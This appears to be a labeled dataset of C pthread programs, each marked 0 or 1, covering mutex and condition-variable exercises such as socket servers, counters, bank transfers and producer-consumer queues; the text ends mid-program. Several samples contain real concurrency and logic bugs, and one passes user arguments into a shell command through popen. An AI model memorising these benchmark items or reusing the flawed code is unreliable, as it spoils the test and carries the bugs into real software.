#include <pthread.h> void *h_read(void *arg); void *h_input(void *arg); pthread_mutex_t mutex; int count; int list[127]; int main(void) { void *vp; pthread_t t_read; pthread_t t_input; int server, client; struct sockaddr_in s_adr, c_adr; int size; int option = 1; if(pthread_create(&t_input, 0, h_input, 0) != 0) { fprintf(stderr, "Faild to create thread\\n"); exit(1); } count = 0; printf("Type 'p' to send updates to clients\\n\\n"); pthread_mutex_init(&mutex, 0); server = socket(PF_INET, SOCK_STREAM, 0); memset(&s_adr, 0, sizeof(s_adr)); s_adr.sin_family = AF_INET; s_adr.sin_addr.s_addr = htonl(INADDR_ANY); s_adr.sin_port = htons(23432); setsockopt(server, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option)); if(bind(server, (struct sockaddr*)&s_adr, sizeof(s_adr))==-1) { fprintf(stderr, "bind error\\n"); exit(1); } if(listen(server, 10)==-1) { fprintf(stderr, "listen error\\n"); exit(1); } printf("wating to connect.. port : %d\\n", 23432); while(1) { size = sizeof(c_adr); client = accept(server, (struct sockaddr*)&c_adr, &size); pthread_mutex_lock(&mutex); printf("client fd : %d\\n", client); list[count] = client; ++count; pthread_mutex_unlock(&mutex); printf("Connected %s \\n", inet_ntoa(c_adr.sin_addr)); if(pthread_create(&t_read, 0, h_read, (void*)&client)!=0) { fprintf(stderr, "thread creating error\\n"); exit(1); } pthread_detach(t_read); } pthread_join(t_input, &vp); close(server); exit(0); } void *h_read(void *arg) { int sock = *((int*)arg); char msg; int i; char len; while(read(sock, &msg, 1)) { if(msg == 0x01) { write(sock, &msg, 1); } else if(msg == 0x02) { printf("client %d success\\n", list[i]); } else if(msg == 0x03) { printf("client %d fail\\n", list[i]); } } pthread_mutex_lock(&mutex); for(i=0; i<count; i++) { if(list[i] == sock) { for(; i<count-1; i++) { list[i] = list[i+1]; } break; } } --count; pthread_mutex_unlock(&mutex); printf("fd %d disconnected\\n", sock); close(sock); return 0; } void* h_input(void *arg) { int len; char msg; char c; int i; struct sockaddr_in addr; FILE *fp; char buf[100]; int nread; struct stat info; int file_size; while(1) { scanf("%c", &c); if(c == 'q') break; else if(c=='p') { for(i=0; i<count; i++) { pthread_mutex_lock(&mutex); msg = 0x02; write(list[i], &msg, 1); pthread_mutex_unlock(&mutex); } fp = fopen("up","r"); if(fp != 0) { stat("up", &info); file_size = info.st_size; for(i=0; i<count; i++) { write(list[i], &file_size, sizeof(int)); } while(!feof(fp)) { nread = fread(buf, 1, 100, fp); for(i=0; i<count; i++) { pthread_mutex_lock(&mutex); write(list[i], buf, nread); pthread_mutex_unlock(&mutex); } } printf("complete\\n"); fclose(fp); } else { file_size = 0; for(i=0; i<count; i++) { write(list[i], &file_size, sizeof(int)); } } } else if(c=='i') { printf("current client count : %d\\n", count); for(i=0; i<count; i++) { printf("client fd : %d\\n", list[i]); getpeername(list[i], (struct sockaddr *)&addr, &len); printf("%s\\n", inet_ntoa(addr.sin_addr)); } } } exit(0); }
1
#include <pthread.h> pthread_mutex_t count_mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t condition_var = PTHREAD_COND_INITIALIZER; void *functionCount1(); void *functionCount2(); int count = 0; void main() { pthread_t thread1, thread2; int ret1, ret2; ret1=pthread_create( &thread1, 0, &functionCount1, 0); ret2=pthread_create( &thread2, 0, &functionCount2, 0); pthread_join( thread1, 0); pthread_join( thread2, 0); exit(0); } void *functionCount1() { for(;;) { pthread_mutex_lock( &count_mutex ); if ( count % 2 != 0 ) { pthread_cond_wait( &condition_var, &count_mutex ); } count++; printf("Counter value functionCount1: %d\\n",count); pthread_cond_signal( &condition_var ); if ( count >= 200 ) { pthread_mutex_unlock( &count_mutex ); return(0); } pthread_mutex_unlock( &count_mutex ); } } void *functionCount2() { for(;;) { pthread_mutex_lock( &count_mutex ); if ( count % 2 == 0 ) { pthread_cond_wait( &condition_var, &count_mutex ); } count++; printf("Counter value functionCount2: %d\\n",count); pthread_cond_signal( &condition_var ); if( count >= 200 ) { pthread_mutex_unlock( &count_mutex ); return(0); } pthread_mutex_unlock( &count_mutex ); } }
0
#include <pthread.h> pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t lock; const int n = 9; const int graph[][2] = { {0, 1}, {0, 2}, {0, 3}, {1, 4}, {1, 5}, {2, 6}, {3, 7}, {5, 6}, {4, 7}, }; int *visit; int *pass; int count = 0; void *run(void *arg) { pthread_mutex_lock(&lock); count++; pthread_mutex_unlock(&lock); int top = *((int *) arg); int i; for (i = 0; i < n; ++i) { if (graph[i][0] == top) { int c = graph[i][1]; pthread_mutex_lock(&mutex); if (pass[i]) { pthread_mutex_unlock(&mutex); pthread_exit(0); } if (visit[c]) { printf("Thread %ld: %i-%i, top %i\\n", pthread_self(), top, c, c); pthread_mutex_unlock(&mutex); pthread_exit(0); } visit[c] = 1; pass[i] = 1; pthread_mutex_unlock(&mutex); printf("Thread %ld: %i-%i\\n", pthread_self(), top, c); pthread_t thr; pthread_create(&thr, 0, run, &c); pthread_join(thr, 0); } } pthread_exit(0); } int main(){ visit = (int *) malloc(n * sizeof(int)); pass = (int *) malloc(n * sizeof(int)); memset(visit, 0, n * sizeof(int)); int v0 = 0; pthread_t init; pthread_create(&init, 0, run, &v0); pthread_join(init, 0); printf("Sum = %i\\n", count); return 0; }
1
#include <pthread.h> pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; void* PrintHello(void* threadid) { pthread_mutex_lock(&lock); printf("%ld: Hello World!\\n", (pthread_t)threadid); pthread_mutex_unlock(&lock); sleep((int) (rand() % 10) + 1); pthread_mutex_lock(&lock); printf("%ld: Thread is done\\n", (pthread_t)threadid); pthread_mutex_unlock(&lock); pthread_exit((void*)0); } int main(int argc, char *argv[]) { int t; void* status; if (argc != 2) { exit(1); } int result; pthread_t threads[atoi(argv[1])]; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); for (t = 0; t < atoi(argv[1]); t++) { pthread_mutex_lock(&lock); printf("Creating thread %d\\n", t); pthread_mutex_unlock(&lock); result = pthread_create(&threads[t], &attr, PrintHello, (void*)t); if ( result ) { perror("pthread_create"); exit(1); } } for (t = 0; t < atoi(argv[1]); t++) { pthread_mutex_lock(&lock); printf("Main joining with thread %d\\n", t); pthread_mutex_unlock(&lock); result = pthread_join(threads[t], &status); if ( result ) { perror("pthread_join"); exit(1); } pthread_mutex_lock(&lock); printf("Completed joining with thread %d status = %d\\n", t, (int)status); pthread_mutex_unlock(&lock); } return 0; }
0
#include <pthread.h> pthread_mutex_t barrier; pthread_mutex_t minBarrier; pthread_mutex_t maxBarrier; int numWorkers; int sum; int value; int xIndex; int yIndex; } MINMAX; MINMAX min; MINMAX max; double read_timer() { static bool initialized = 0; static struct timeval start; struct timeval end; if( !initialized ) { gettimeofday( &start, 0 ); initialized = 1; } gettimeofday( &end, 0 ); return (end.tv_sec - start.tv_sec) + 1.0e-6 * (end.tv_usec - start.tv_usec); } double start_time, end_time; int size, stripSize; int matrix[10000][10000]; void *Worker(void *); int main(int argc, char *argv[]) { int i, j; long l; pthread_attr_t attr; pthread_t workerid[10]; pthread_attr_init(&attr); pthread_attr_setscope(&attr, PTHREAD_SCOPE_SYSTEM); pthread_mutex_init(&barrier, 0); pthread_mutex_init(&minBarrier,0); pthread_mutex_init(&maxBarrier,0); size = (argc > 1)? atoi(argv[1]) : 10000; numWorkers = (argc > 2)? atoi(argv[2]) : 10; if (size > 10000) size = 10000; if (numWorkers > 10) numWorkers = 10; stripSize = size/numWorkers; for (i = 0; i < size; i++) { for (j = 0; j < size; j++) { matrix[i][j] = rand()%99; } } min.value = matrix[0][0]; max.value = matrix[0][0]; start_time = read_timer(); for (l = 0; l < numWorkers; l++) pthread_create(&workerid[l], &attr, Worker, (void *) l); for(l= 0; l< numWorkers; l++) pthread_join(workerid[l],0); end_time = read_timer(); printf("The sum is %d\\n", sum); printf("Max value : %d\\n", max.value); printf("Max x position %d\\n", max.xIndex); printf("Max y position %d\\n", max.yIndex); printf("Min value : %d\\n", min.value); printf("Min x position %d\\n", min.xIndex); printf("Min y position %d\\n", min.yIndex); printf("The execution time is %g sec\\n", end_time - start_time); } void * Worker(void *arg) { long myid = (long) arg; int total, i, j, first, last; first = myid*stripSize; last = (myid == numWorkers - 1) ? (size - 1) : (first + stripSize - 1); for (i = first; i <= last; i++) for (j = 0; j < size; j++) { if(matrix[i][j] > max.value) { pthread_mutex_lock(&maxBarrier); if(matrix[i][j] > max.value) { max.value = matrix[i][j]; max.yIndex = i; max.xIndex = j; } pthread_mutex_unlock(&maxBarrier); } if(matrix[i][j] < min.value) { pthread_mutex_lock(&minBarrier); if(matrix[i][j] < min.value){ min.value = matrix[i][j]; min.yIndex = i; min.xIndex = j; } pthread_mutex_unlock(&minBarrier); } pthread_mutex_lock(&barrier); sum += matrix[i][j]; pthread_mutex_unlock(&barrier); } }
1
#include <pthread.h> int x,b; int space=0; int Factors[100]; int A,P; pthread_mutex_t region_mutex = PTHREAD_MUTEX_INITIALIZER; void* P_NO(void* no_thread); int main(int argc, const char * argv[]) { A = atoi(argv[1]); P = atoi(argv[2]); printf("NUMBER ENTERED IN THE COMMAND LINE IS : %d \\n",A); b=sqrt(A); printf("NUMBER OF THREADS USED FOR TESTING : %d \\n",P); b=A; pthread_t T[P]; int i; int Summation=0; for(i=0;i<P;i++) { pthread_create(&T[i],0,P_NO,(void *)i); } for(i=0;i<P;i++) { pthread_join(T[i],0); } int c,j,k; printf(" The Factors of the number you entered are \\n" ); for (i = 0; i < space; i++) { for (j = i + 1; j < space;) { if (Factors[j] == Factors[i]) { for (k = j; k < space; k++) { Factors[k] = Factors[k + 1]; } space--; } else j++; } } for(c=0;c<space;c++) { Summation+=Factors[c]; printf("%d \\n",Factors[c]); } printf("Summation is %d \\n",Summation); if(Summation==A) { printf("%d is a Perfect number \\n", A); } else { printf("%d is NOT a Perfect Number \\n", A); } return 0; } void* P_NO(void* no_thread) { x=b/P; int i; int Begin,Last; int id_thread= (int) no_thread; if(id_thread==(P-1)) { Begin=id_thread*x+1; Last=b; } else { Begin=id_thread*x+1; Last=Begin+x; } for(i=Begin;i<Last;i++) { if(A%i==0) { pthread_mutex_lock(&region_mutex); { if(i==1) { Factors[space]=1; space++; } else { Factors[space]=i; space++; Factors[space]=A/i; space++; } } pthread_mutex_unlock(&region_mutex); } } return 0; }
0
#include <pthread.h> pthread_mutex_t lock_v= PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond_v; pthread_mutex_t lock_ai= PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond_ai; pthread_mutex_t lock_ao= PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond_ao; int globalwork=TRUE; void * th_global_wd() { while(globalwork==TRUE&&immediatestop==0){ printf("wd...\\n"); sleep(1); } globalwork=FALSE; immediatestop=1; printf("th_global_wd exit stop all...\\n"); } void * th_video_in_m_process() { char cmd[1024]; int res; while(globalwork){ pthread_mutex_lock(&lock_v); printf("capturing video...\\n"); sprintf(cmd, "raspistill -t 100 -w 1920 -h 1080 -q 90 -o /home/pi/rha/tmpimg/currcap.jpg"); res=system(cmd); fprintf(stdout,"execution returned %d.\\n",res); if ((-1 != res) && (0 != res)){ fprintf(stdout,"now would be a good time to check out what the resulting return-value (%d) means.\\n",res); }else{ sprintf(cmd, "cp /home/pi/rha/tmpimg/currcap.jpg /home/pi/rha/tmpimg/currinproc.jpg"); res=system(cmd); fprintf(stdout,"execution returned %d.\\n",res); if ((-1 != res) && (0 != res)){ fprintf(stdout,"now would be a good time to check out what the resulting return-value (%d) means.\\n",res); }else{ fprintf(stdout,"capture ok going to proccess opencv...\\n"); } } sleep(1); pthread_mutex_unlock(&lock_v); pthread_cond_signal(&cond_v); } printf("th_video_in_m_process exit...\\n"); } void * th_video_in_process() { while(globalwork){ pthread_mutex_lock(&lock_v); pthread_cond_wait(&cond_v,&lock_v); printf("pthread_cond_ok\\n"); pthread_mutex_unlock(&lock_v); } } void * th_audio_in_m_process() { while(globalwork){ pthread_mutex_lock(&lock_ai); printf("capturing audio...\\n"); sleep(1); pthread_mutex_unlock(&lock_ai); pthread_cond_signal(&cond_ai); } printf("th_audio_in_m_process exit...\\n"); } void * th_audio_in_process() { while(globalwork){ pthread_mutex_lock(&lock_ai); pthread_cond_wait(&cond_ai,&lock_ai); printf("pthread_cond_ok\\n"); pthread_mutex_unlock(&lock_ai); } } void * th_audio_out_m_process() { while(globalwork){ pthread_mutex_lock(&lock_ao); printf("begin speaking...\\n"); sleep(1); pthread_mutex_unlock(&lock_ao); pthread_cond_signal(&cond_ao); } printf("th_audio_out_m_process exit...\\n"); } void * th_audio_out_process() { while(globalwork){ pthread_mutex_lock(&lock_ao); pthread_cond_wait(&cond_ao,&lock_ao); printf("pthread_cond_ok speak\\n"); pthread_mutex_unlock(&lock_ao); } } pthread_t tr0,tr, tr2,tr3; int coref_start(int argc, char **argv) { pthread_create(&tr0,0,th_global_wd,0); pthread_create(&tr,0,th_video_in_m_process,0); pthread_create(&tr2,0,th_audio_in_m_process,0); pthread_create(&tr3,0,th_audio_out_m_process,0); return 0; } int coref_join(int argc, char **argv){ pthread_join(tr,0); pthread_join(tr2,0); pthread_join(tr3,0); pthread_join(tr0,0); return 0; }
1
#include <pthread.h> struct Account{ int NO; int balance; }; struct Transfer{ int from; int to; int amount; }; struct arguments{ int arg1; int arg2; }; struct Account accounts[100]; struct Transfer records[100]; int cur = 0; pthread_mutex_t lockTransfer; pthread_mutex_t locklist[100]; pthread_cond_t condlist[100]; int state[100] = {0}; pthread_mutex_t lockState; void start_transfer(int,int); void end_transfer(int,int); void test(); void *worker_routine(void *); int main(int argc, char **argv){ if(argc!=3) printf("Usage of transfProg: <inputfile> <numWorkers>"); const char* file = argv[1]; const int numWorkers = atoi(argv[2]); int i= 0,numAccounts, numTransfers; long pos; FILE *fp; fp = fopen(file,"r"); if(fp==0){ fprintf(stderr,"Can't open input file!\\n"); exit(1); } pos = ftell(fp); char line[100]; while(fgets(line,sizeof(line),fp)){ if(sscanf(line, "%d %d", &(accounts[i].NO),&(accounts[i].balance)) == 2){ i++; pos = ftell(fp); } else break; } numAccounts = i; i = 0; fseek(fp,pos,0); while(fgets(line,sizeof(line),fp)){ sscanf(line, "Transfer %d %d %d", &(records[i].from),&(records[i].to),&(records[i].amount)); i++; } numTransfers = i; pthread_mutex_init(&lockTransfer,0); pthread_mutex_init(&lockState,0); for(i=0;i<numAccounts;i++){ pthread_mutex_init(&locklist[i],0); pthread_cond_init(&condlist[i],0); } int ret; struct arguments arg = {.arg1 = numAccounts,.arg2 = numTransfers}; pthread_t threads[100]; for(i=0;i<numWorkers;i++){ ret = pthread_create(&threads[i],0,worker_routine,(void *)&arg); if(ret){ errno = ret; perror("pthread_create(calendar filter)"); return -1; } } for(i=0;i<numWorkers;i++) pthread_join(threads[i], 0); for(i=0;i<numAccounts;i++) printf("%d %d\\n",accounts[i].NO,accounts[i].balance); return 0; } void *worker_routine(void *arg){ struct arguments *args = arg; const int N = args->arg1; const int M = args->arg2; int index,i,flag1,flag2; int sender, receiver, amount; while(1){ pthread_mutex_lock(&lockTransfer); if(cur==M){ pthread_mutex_unlock(&lockTransfer); pthread_exit(0); } else{ index = cur; cur++; pthread_mutex_unlock(&lockTransfer); } flag1 = -1; flag2 = -1; sender = records[index].from; receiver = records[index].to; amount = records[index].amount; for(i=0;i<N;i++){ if(flag1!=-1 && flag2!=-1) break; if(accounts[i].NO==sender) flag1 = i; else if(accounts[i].NO==receiver) flag2 = i; } if(flag1!=-1 && flag2!=-1){ start_transfer(flag1,flag2); accounts[flag1].balance = accounts[flag1].balance - amount; accounts[flag2].balance = accounts[flag2].balance + amount; end_transfer(flag1,flag2); } } } void start_transfer(int from,int to){ int acc1,acc2; if(from>to){ acc1 = to; acc2 = from; } else{ acc1 = from; acc2 = to; } pthread_mutex_lock(&lockState); while(state[acc1]==1){ pthread_cond_wait(&(condlist[acc1]),&lockState); } state[acc1]==1; while(state[acc2]==1){ pthread_cond_wait(&(condlist[acc2]),&lockState); } state[acc2]==1; pthread_mutex_unlock(&lockState); pthread_mutex_lock(&(locklist[acc1])); pthread_mutex_lock(&(locklist[acc2])); } void end_transfer(int from,int to){ pthread_mutex_unlock(&(locklist[from])); pthread_mutex_unlock(&(locklist[to])); pthread_mutex_lock(&lockState); state[from] = 0; state[to] = 0; pthread_cond_signal(&condlist[from]); pthread_cond_signal(&condlist[to]); pthread_mutex_unlock(&lockState); }
0
#include <pthread.h> int pile[2]; int stack_size = -1; pthread_mutex_t mutex_stack = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond_pop = PTHREAD_COND_INITIALIZER; pthread_cond_t cond_push = PTHREAD_COND_INITIALIZER; void push(int car) { pthread_mutex_lock(&mutex_stack); while (stack_size == 2){ printf("%ld | -> Attente consommateur\\n", (long ) pthread_self()); pthread_cond_wait(&cond_pop,&mutex_stack); } stack_size++; pile[stack_size] = car ; if((int)car == 10) printf("%ld | Empilation du caractère de fin\\n",(long ) pthread_self()); else printf("%ld | Empilation de : %c\\n",(long ) pthread_self(), pile[stack_size]); if (stack_size == 0){ printf("%ld | Réveil du consommateur \\n", (long ) pthread_self()); pthread_cond_broadcast(&cond_push); } pthread_mutex_unlock(&mutex_stack); } int pop(){ int car; pthread_mutex_lock(&mutex_stack); while (stack_size == -1){ printf("%ld | Le consommateur s'endort\\n", (long ) pthread_self()); pthread_cond_wait(&cond_push,&mutex_stack); } car = pile[stack_size]; stack_size --; if((int)car == 10) printf("%ld | Dépilation du caractère de fin\\n",(long ) pthread_self()); else printf("%ld | Dépilation de : %c\\n",(long ) pthread_self(),car); if (stack_size == (2 -1)){ printf("%ld | Réveil du producteur\\n",(long ) pthread_self()); pthread_cond_broadcast(&cond_pop); } pthread_mutex_unlock(&mutex_stack); return car; } void *producteur() { int c; while((c = getchar()) != EOF){ push(c); } pthread_exit ((void*)0); } void *consommateur() { while(1) { putchar(pop()); fflush(stdout); } pthread_exit ((void*)0); } pthread_t *TabStack; int main (int argc, char* argv[]) { int i = 0; TabStack = malloc(2*sizeof(char)); if(argc<3) return 1; int nbProducteur = atoi(argv[1]); int nbConsommateur = atoi(argv[2]); printf("Nombre total : %d\\n", (nbConsommateur + nbProducteur)); pthread_t *thread = malloc((nbConsommateur + nbProducteur) * sizeof(pthread_t)); for(i = 0; i<nbConsommateur;i++) pthread_create(&thread[i], 0, consommateur, 0); for(i = 0; i<nbProducteur;i++) pthread_create(&thread[i+nbConsommateur], 0, producteur, 0); for(i = 0; i<(nbConsommateur+nbProducteur);i++) printf("Valeur du tableau : %ld\\n", (long) thread[i]); for(i = 0; i<(nbConsommateur+nbProducteur);i++) pthread_join(thread[i], 0); }
1
#include <pthread.h> pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; int volatile iCount = 0; void *increament_proc(void *arg) { while (1) { pthread_mutex_lock(&mutex); iCount++; pthread_mutex_unlock(&mutex); if (iCount >= 100) { pthread_cond_signal(&cond); } } } void *decreament_proc(void *arg) { while (1) { pthread_mutex_lock(&mutex); iCount--; pthread_mutex_unlock(&mutex); } } void *infomation_proc(void *arg) { while (1) { pthread_mutex_lock(&mutex); while (iCount < 100) { pthread_cond_wait(&cond, &mutex); } printf("iCount >= 100\\n"); iCount = 0; pthread_mutex_unlock(&mutex); } } int main(int argc, const char *argv[]) { int ret; pthread_t tid1, tid2, tid3, tid4; ret = pthread_create(&tid1, 0, increament_proc, 0); assert(ret == 0); ret = pthread_create(&tid2, 0, increament_proc, 0); assert(ret == 0); ret = pthread_create(&tid3, 0, decreament_proc, 0); assert(ret == 0); ret = pthread_create(&tid4, 0, infomation_proc, 0); assert(ret == 0); ret = pthread_join(tid1, 0); assert(ret == 0); ret = pthread_join(tid2, 0); assert(ret == 0); ret = pthread_join(tid3, 0); assert(ret == 0); ret = pthread_join(tid4, 0); assert(ret == 0); return 0; }
0
#include <pthread.h> extern int rs, bs; void* quicksort(void *sqp, void* sp, int flag) { struct sync_queue_t* queue = sqp; struct params* local = sp; struct params *leftp, *rightp; if (local->size > 1) { if ((bs != 0) && (local->size <= bs)) { bubble(sp); } else { leftp = malloc(sizeof(struct params)); rightp = malloc(sizeof(struct params)); partition(local, leftp, rightp); if ((rs != 0) && (local->size > bs) && (local->size <= rs)) { if (leftp->size > 1) { quicksort(queue, leftp, 1); } free(leftp); if (rightp->size > 1) { quicksort(queue, rightp, 1); } free(rightp); } else { pthread_mutex_lock(&finish_mutex); counter++; pthread_mutex_unlock(&finish_mutex); sync_queue_enqueue(queue, leftp); pthread_mutex_lock(&finish_mutex); counter++; pthread_mutex_unlock(&finish_mutex); sync_queue_enqueue(queue, rightp); } } } if (flag == 0) { pthread_mutex_lock(&finish_mutex); counter--; if (counter == 0) { pthread_cond_signal(&finish_condvar); } pthread_mutex_unlock(&finish_mutex); } return 0; } void partition(struct params* local, struct params* leftp, struct params* rightp) { int pivot, *l, *g, *start, *end, temp; pivot = *local->p; start = local->p; end = local->p + local->size; l = local->p; g = end; while (l != g) { while (l != end && *l <= pivot) { l++; } while (*(g - 1) > pivot) { g--; } if (l != g) { swap(l, g - 1); } } swap(start, l - 1); leftp->size = g - local->p - 1; leftp->p = local->p; rightp->size = end - g; rightp->p = g; } void bubble(struct params* sp) { int i, length, *left, *right; left = sp->p; right = left + 1; length = sp->size; while (length > 1) { for (i = 1; i < length; i++) { if (*left > * right) { swap(left, right); } left++; right++; } left = sp->p; right = left + 1; length--; } } void swap(int* p, int *q) { int temp; temp = *q; *q = *p; *p = temp; }
1
#include <pthread.h> int sum=0; pthread_mutex_t mtx; struct csf { char* file; char* word; }; int VerifyFile(const char* fName) { FILE *file; if((file = fopen(fName,"r"))) { fclose(file); return 1; } return 0; } void* MyThread(void* p) { struct csf* ceva; int number; char command[200]; char line[100]; char bla[100]; FILE *fin; ceva = (struct csf*) p; snprintf(command,sizeof(command),"grep \\"\\\\<%s\\\\>\\" -o %s|wc -l",ceva->word,ceva->file); fin=popen(command,"r"); fgets(line,1024,fin); strcpy(bla,line); number=atoi(bla); pclose(fin); pthread_mutex_lock(&mtx); sum+=number; pthread_mutex_unlock(&mtx); return 0; } int main(int argc, char* argv[]) { pthread_t thr[argc]; pthread_mutex_init(&mtx,0); struct csf argThread[argc]; int i; if (VerifyFile(argv[1]) == 0) { printf("The first parameter is not a file\\n"); return 0; } for(i=2;i<argc;i++) { argThread[i].file = (char*) malloc ( 20* sizeof(char)); argThread[i].word = (char*) malloc (20 *sizeof(char)); strcpy(argThread[i].file,argv[1]); strcpy(argThread[i].word,argv[i]); pthread_create(&thr[i],0,MyThread,(void*) &argThread[i]); } for(i=2;i<argc;i++) { pthread_join(thr[i],0); } for(i=2;i<argc;i++) { free(argThread[i].file); free(argThread[i].word); } pthread_mutex_destroy(&mtx); printf("%d\\n",sum); return 0; }
0
#include <pthread.h> struct mthca_ah_page { struct mthca_ah_page *prev, *next; struct mthca_buf buf; struct ibv_mr *mr; int use_cnt; unsigned free[0]; }; static struct mthca_ah_page *__add_page(struct mthca_pd *pd, int page_size, int per_page) { struct mthca_ah_page *page; int i; page = malloc(sizeof *page + per_page * sizeof (int)); if (!page) return 0; if (mthca_alloc_buf(&page->buf, page_size, page_size)) { free(page); return 0; } page->mr = mthca_reg_mr(&pd->ibv_pd, page->buf.buf, page_size, 0); if (!page->mr) { mthca_free_buf(&page->buf); free(page); return 0; } page->mr->context = pd->ibv_pd.context; page->use_cnt = 0; for (i = 0; i < per_page; ++i) page->free[i] = ~0; page->prev = 0; page->next = pd->ah_list; pd->ah_list = page; if (page->next) page->next->prev = page; return page; } int mthca_alloc_av(struct mthca_pd *pd, struct ibv_ah_attr *attr, struct mthca_ah *ah) { if (mthca_is_memfree(pd->ibv_pd.context)) { ah->av = malloc(sizeof *ah->av); if (!ah->av) return -1; } else { struct mthca_ah_page *page; int ps; int pp; int i, j; ps = to_mdev(pd->ibv_pd.context->device)->page_size; pp = ps / (sizeof *ah->av * 8 * sizeof (int)); pthread_mutex_lock(&pd->ah_mutex); for (page = pd->ah_list; page; page = page->next) if (page->use_cnt < ps / sizeof *ah->av) for (i = 0; i < pp; ++i) if (page->free[i]) goto found; page = __add_page(pd, ps, pp); if (!page) { pthread_mutex_unlock(&pd->ah_mutex); return -1; } found: ++page->use_cnt; for (i = 0, j = -1; i < pp; ++i) if (page->free[i]) { j = ffs(page->free[i]); page->free[i] &= ~(1 << (j - 1)); ah->av = page->buf.buf + (i * 8 * sizeof (int) + (j - 1)) * sizeof *ah->av; break; } ah->key = page->mr->lkey; ah->page = page; pthread_mutex_unlock(&pd->ah_mutex); } memset(ah->av, 0, sizeof *ah->av); ah->av->port_pd = htonl(pd->pdn | (attr->port_num << 24)); ah->av->g_slid = attr->src_path_bits; ah->av->dlid = htons(attr->dlid); ah->av->msg_sr = (3 << 4) | attr->static_rate; ah->av->sl_tclass_flowlabel = htonl(attr->sl << 28); if (attr->is_global) { ah->av->g_slid |= 0x80; ah->av->gid_index = (attr->port_num - 1) * 32 + attr->grh.sgid_index; ah->av->hop_limit = attr->grh.hop_limit; ah->av->sl_tclass_flowlabel |= htonl((attr->grh.traffic_class << 20) | attr->grh.flow_label); memcpy(ah->av->dgid, attr->grh.dgid.raw, 16); } else { ah->av->dgid[3] = htonl(2); } return 0; } void mthca_free_av(struct mthca_ah *ah) { if (mthca_is_memfree(ah->ibv_ah.context)) { free(ah->av); } else { struct mthca_pd *pd = to_mpd(ah->ibv_ah.pd); struct mthca_ah_page *page; int i; pthread_mutex_lock(&pd->ah_mutex); page = ah->page; i = ((void *) ah->av - page->buf.buf) / sizeof *ah->av; page->free[i / (8 * sizeof (int))] |= 1 << (i % (8 * sizeof (int))); if (!--page->use_cnt) { if (page->prev) page->prev->next = page->next; else pd->ah_list = page->next; if (page->next) page->next->prev = page->prev; mthca_dereg_mr(page->mr); mthca_free_buf(&page->buf); free(page); } pthread_mutex_unlock(&pd->ah_mutex); } }
1
#include <pthread.h> pthread_mutex_t mutex1; pthread_mutex_t mutex2; pthread_mutex_t mutex3; void * thread_body(void * param) { int i; pthread_mutex_lock(&mutex2); for (i = 0; i < 10; ++i) { pthread_mutex_lock(&mutex3); pthread_mutex_unlock(&mutex2); pthread_mutex_lock(&mutex1); printf("Child : %d\\n", i); pthread_mutex_unlock(&mutex3); pthread_mutex_lock(&mutex2); pthread_mutex_unlock(&mutex1); } return 0; } int main(int argc, char *argv[]) { pthread_t thread; pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_ERRORCHECK); pthread_mutex_init(&mutex1, &attr); pthread_mutex_init(&mutex2, &attr); pthread_mutex_init(&mutex3, &attr); int code; int i; pthread_mutex_lock(&mutex3); code = pthread_create(&thread, 0, thread_body, 0); if (code!=0) { char buf[256]; strerror_r(code, buf, sizeof buf); fprintf(stderr, "%s: creating thread: %s\\n", argv[0], buf); exit(1); } sleep(5); for (i = 0; i < 10; ++i) { pthread_mutex_lock(&mutex1); printf("Parent %d\\n", i); pthread_mutex_unlock(&mutex3); pthread_mutex_lock(&mutex2); pthread_mutex_unlock(&mutex1); pthread_mutex_lock(&mutex3); pthread_mutex_unlock(&mutex2); } pthread_mutex_destroy(&mutex1); pthread_mutex_destroy(&mutex2); pthread_mutex_destroy(&mutex3); return 0; }
0
#include <pthread.h> struct student{ int id; int numQuestions; int questionNum; struct student *next; }; unsigned int condition, condition2; unsigned int answeredQs; unsigned int numStud; unsigned int snack; pthread_cond_t student, prof; pthread_mutex_t lock, lock_t, lock_t2, lock_t3,lock_t4; pthread_t P; struct student *iterator = 0, *head = 0; void * startProfessor(); void * startStudent(void * s); void AnswerStart(); void AnswerDone(); void QuestionStart(); void QuestionDone(); void Nap(); void Snack(); void Professor(){ pthread_mutex_init(&lock, 0); pthread_mutex_init(&lock_t, 0); pthread_mutex_init(&lock_t2, 0); pthread_mutex_init(&lock_t3, 0); pthread_mutex_init(&lock_t4, 0); pthread_cond_init(&prof, 0); pthread_cond_init(&student, 0); snack = 0; numStud = 0; condition = 0; condition2 = 1; if (pthread_create(&P, 0, startProfessor,0) != 0){ perror("Thread creation failed"); exit(0); } sleep(1); } void* startProfessor(){ puts("\\nCrazy Professor's office hours have begun!"); condition = 1; while(1){ if( numStud == 0 ){ Nap(); } pthread_cond_wait(&prof, &lock_t); condition = 0; if(head != 0){ AnswerStart(); AnswerDone(); while(condition2){ pthread_cond_signal(&student); } condition2 = 1; if(snack == 3){ pthread_cond_wait(&prof, &lock_t4); snack = 0; Snack(); } } } } void Student(int id, int numQuestions){ struct student * newstud = malloc(sizeof(struct student)); newstud->id = id + 1; newstud->numQuestions = numQuestions; newstud->questionNum = 0; pthread_t S; if(pthread_create( &S, 0, (void *) &startStudent, (void *)newstud ) != 0){ perror("Thread creation failed"); exit(0); } } void * startStudent(void * s){ struct student * stud = s; printf("Student %i is at the Professor's door and wants to ask %i questions.\\n", stud->id, stud->numQuestions); pthread_mutex_lock(&lock_t3); numStud++; if(head != 0){ iterator = iterator->next = stud; } else{ condition = 1; iterator = head = stud; } pthread_mutex_unlock(&lock_t3); while(1){ pthread_mutex_lock(&lock); if(head != 0 && numStud == 0){ head = 0; pthread_cond_signal(&prof); } if(head != 0){ QuestionStart(); QuestionDone(); } pthread_mutex_unlock(&lock); } } void QuestionStart(){ (head->questionNum)++; (head->numQuestions)--; while(condition){ pthread_cond_signal(&prof); } condition = 1; pthread_cond_wait(&student, &lock_t2); condition2 = 0; } void QuestionDone(){ printf("Student %i is satisfied.\\n\\n", head->id); while(snack == 